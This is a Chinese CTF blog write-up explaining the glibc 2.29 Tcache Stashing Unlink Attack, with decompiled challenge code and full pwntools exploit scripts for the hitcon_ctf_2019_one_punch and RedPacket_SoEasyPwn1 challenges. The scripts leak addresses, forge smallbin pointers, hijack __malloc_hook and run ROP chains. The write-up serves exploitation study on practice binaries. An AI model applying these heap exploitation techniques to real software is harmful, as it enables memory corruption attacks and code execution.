Tcache_Stashing_Unlink_Attack

2.29目前是热门

原理

从small bin中取出最后一个chunk的时候,对双向链表做了完整性的检查,然而,后面将剩余chunk放入tcache bin的时候,却没有这个检查。然后,bck->fd = bin;这句代码,可以将bck->fd处写一个main_arena地址。如果我们可以控制bck,那么就能实现任意地址处写一个main_arena的地址。同理,如果我们能够控制small bin的bck,并且保证vuln_addr->fd = bck,那么就能分配到vuln_addr处。
————————————————
版权声明:本文为CSDN博主「ha1vk」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/seaaseesa/article/details/105870247

从上面的原理可以得知,我们只需要最少2个smallbin,更改倒数第二个的bk指针即可绕过检测。

实操

hitcon_ctf_2019_one_punch

buu的有这个题,我们直接来分析程序吧

分析

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
const char *v3; // rdi
int v4; // [rsp+4h] [rbp-Ch]
char *ptr; // [rsp+8h] [rbp-8h]

ptr = (char *)malloc(0x1000uLL);
if ( !ptr )
error("err", a2);
v3 = ptr;
free(ptr);
qword_4030 = ((unsigned __int64)ptr & 0xFFFFFFFFFFFFF000LL) + 16;
while ( 1 )
{
while ( 1 )
{
menu();
v4 = choice(v3, a2);
if ( v4 != 3 )
break;
show();
}
if ( v4 > 3 )
{
if ( v4 == 4 )
{
dele();
}
else
{
if ( v4 == 50056 )
over();
LABEL_17:
v3 = "bye!";
puts("bye!");
}
}
else if ( v4 == 1 )
{
add();
}
else
{
if ( v4 != 2 )
goto LABEL_17;
rename();
}
}
}

是我很喜欢的功能完整的菜单,而且没有任何的需要逆向的过程。。最近的比赛打的我想吐,菜单先逆出来才能说做题的事情。。。

这里有个后门over,堆栈溢出。

还有个漏洞在dele

1
2
3
4
5
6
7
8
9
10
void __fastcall dele(__int64 a1, __int64 a2)
{
unsigned int v2; // [rsp+Ch] [rbp-4h]

sub_1B62("idx: ");
v2 = choice();
if ( v2 > 2 )
error("invalid", a2);
free(*((void **)&unk_4040 + 2 * v2));
}

UAF和double free。

思路总结

利用double free填充tcache以及泄露堆地址,并且用来构造unsortedbin,进一步去切割得到smallbin。

更改倒数第二个smallbin的bk为后门要求的0x4030那申请个chunk,利用后门溢出orw。

(我们可以改写malloc_hook或者free_hook。如果没有开沙箱的话,我们直接改写为one_gadget即可,如果开啦,我们改为add rsp,0xXX,使得栈进入我们可控的buf区)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#encode="utf-8"
from pwn import *
r=process('./hitcon_ctf_2019_one_punch')
libc = ELF('./glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc.so.6')
#context.log_level='debug'

def add(idx,con):
r.recv()
r.sendline(str(1))
r.recv()
r.sendline(str(idx))
r.recv()
r.send(con)

def edit(idx,con):
r.recv()
r.sendline(str(2))
r.recv()
r.sendline(str(idx))
r.recv()
r.send(con)
def show(idx):
r.recv()
r.sendline(str(3))
r.recv()
r.sendline(str(idx))

def dele(idx):
r.recv()
r.sendline(str(4))
r.recv()
r.sendline(str(idx))

def malloc(con):
r.recv()
r.sendline(str(50056))
r.send(con)

add(0,'a'*0x218)#0
add(1,'a'*0x80)#1

for i in range(6):
dele(1)
edit(1,'a'*0x10)

for i in range(6):
dele(0)
edit(0,'a'*0x10)
#以上两次填充tcache
'''
在Tcache Stashing Unlink Attack时,会从small bin里取chunk到tcache bin,直到tcache bin填满,但是如果我们伪造了bck,第二次遍历的时候就会发生错误,因为目标处我们不可控。因此,我们只需要让其只进行第一次的遍历,那么,我们就得事先将对应的tcache bin里填满6个。为了绕过对small bin最后一个chunk的完整性检查,我们不能伪造最后一个chunk的bck,而应该伪造倒数第二个chunk的bck。因此,我们需要保证在small bin里有两个chunk。
'''
#泄露堆地址以及libc基地址
dele(0)
show(0)
r.recvuntil('hero name: ')
heap=u64(r.recv(6)+"\x00"*2)
print(hex(heap))
edit(0,'a'*0x10)
dele(0)
show(0)
r.recvuntil('hero name: ')
leak=u64(r.recv(6)+"\x00"*2)
print(hex(leak))
base=leak-0x1e4ca0
print(hex(base))
malloc_hook = libc.symbols['__malloc_hook']+base
add_rsp_48 = base + 0x000000000008cfd6
pop_rdi = base + 0x0000000000026542
pop_rsi = base + 0x0000000000026f9e
pop_rdx = base + 0x000000000012bda6
pop_rax = base + 0x0000000000047cf8
syscall_ret = base + 0x000000000010D022
open_addr = base + libc.sym['open']
read_addr = base + libc.sym['read']
write_addr = base + libc.sym['write']

#切割得到一个0x90的unsortedbin
add(1,'a'*0x180)
#利用unsortedbin整理把0x90的unsortedbin放入到smallbin
add(1,'a'*0x400)
#gap
add(2,'a'*0x100)
for i in range(7):
dele(1)
edit(1,'a'*0x10)
dele(1)
#以上tcache填充

#继续切割得到大小0x90的unsortedbin
add(2,'a'*0x370)
#同样触发整理得到smallbin
add(2,'a'*0x400)
#更改bk
edit(1,'a'*0x370+p64(0)+p64(0x91)+p64(heap+0x180)+p64(heap+0x20-0x260))
#Tcache Stashing Unlink Attack,目标地址处被写入了small bin的地址,因此绕过了后面函数的验证,现在可以调用后门函数了
add(1,'a'*0x80)
#将malloc_hook链接到tcache bin
edit(0,p64(malloc_hook))
malloc('flag\x00')
flag_addr = heap
#写malloc_hook
malloc(p64(add_rsp_48))
#open(flag_addr,0)
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall_ret)
#read(3,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#write(1,flag_addr,0x30)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(write_addr)
add(1,rop)

#gdb.attach(r)
r.interactive()

RedPacket_SoEasyPwn1

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#coding:utf8
from pwn import *

#sh = process('./RedPacket_SoEasyPwn1')
sh = remote('node3.buuoj.cn',28039)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.29.so')
malloc_hook_s = libc.symbols['__malloc_hook']
open_s = libc.sym['open']
read_s = libc.sym['read']
puts_s = libc.sym['puts']

def add(index,size,content):
sh.sendlineafter('Your input:','1')
sh.sendlineafter('idx:',str(index))
idx = 0
if size == 0x10:
idx = 1
elif size == 0xF0:
idx = 2
elif size == 0x300:
idx = 3
elif size == 0x400:
idx = 4
else:
raise Exception('error size')
sh.sendlineafter('How much do you want?',str(idx))
sh.sendafter('content:',content)

def delete(index):
sh.sendlineafter('Your input:','2')
sh.sendlineafter('idx:',str(index))

def edit(index,content):
sh.sendlineafter('Your input:','3')
sh.sendlineafter('idx:',str(index))
sh.sendafter('content:',content)

def show(index):
sh.sendlineafter('Your input:','4')
sh.sendlineafter('idx:',str(index))

def stackOverflow(payload):
sh.sendlineafter('Your input:','666')
sh.sendafter('What do you want to say?',payload)

for i in range(8):
add(i,0x400,'a')
#六个chunk用于放入0x100的tcache bin
for i in range(8,14):
add(i,0xF0,'b')
#得到0x410大小的unsorted bin
for i in range(14):
delete(i)
#泄露堆地址
show(1)
sh.recv(1)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
print 'heap_addr=',hex(heap_addr)
#泄露libc地址
show(7)
sh.recv(1)
main_arena_xx = u64(sh.recv(6).ljust(8,'\x00'))
malloc_hook_addr = (main_arena_xx & 0xFFFFFFFFFFFFF000) + (malloc_hook_s & 0xFFF)
libc_base = malloc_hook_addr - malloc_hook_s
pop_rdi = libc_base + 0x0000000000026542
pop_rsi = libc_base + 0x0000000000026f9e
pop_rdx = libc_base + 0x000000000012bda6
leave_ret = libc_base + 0x0000000000058373
open_addr = libc_base + open_s
read_addr = libc_base + read_s
puts_addr = libc_base + puts_s
print 'libc_base=',hex(libc_base)
rop_addr = heap_addr + 0x1F80
flag_addr = rop_addr + 0x78
#open(flag_addr,0)
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
#read(fd,flag_addr,0x30)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
#puts(flag_addr)
rop += p64(pop_rdi) + p64(flag_addr) + p64(puts_addr)
#rop += '/flag'.ljust(8,'\x00')
rop += '/password.txt\x00'

#从0x410的unsorted bin里切割一个0x310的空间,剩下的0x100的unsorted bin
add(0,0x300,'a')
#malloc一大的堆,使得unsorted bin里的0x100的chunk放入small bin
add(0,0x400,'b')
#挡住top chunk,不能小于0x100,不然会从得到的small bin里取,这样我们前面就白费
add(1,0x400,'a')
#我们使用同样的方法,来得到第二个0x100的unsorted bin
delete(0)
add(1,0x300,'a')
add(1,0x400,'b')
#修改第一个small bin的bk,指向目标地址
edit(0,'a'*0x300 + p64(0) + p64(0x101) + p64(heap_addr + 0x1F70) + p64(heap_addr - 0x1010 + 0x800 - 0x10))
#Tcache Stashing Unlink Attack,目标地址处被写入了small bin的地址,因此绕过了后面函数的验证,现在可以调用后面函数了
#我们顺便将rop布置在这个堆里
add(2,0xF0,rop)
#栈迁移到我们的rop里执行
stackOverflow('a'*0x80 + p64(rop_addr - 0x8) + p64(leave_ret))

sh.interactive()
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 H.greed
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信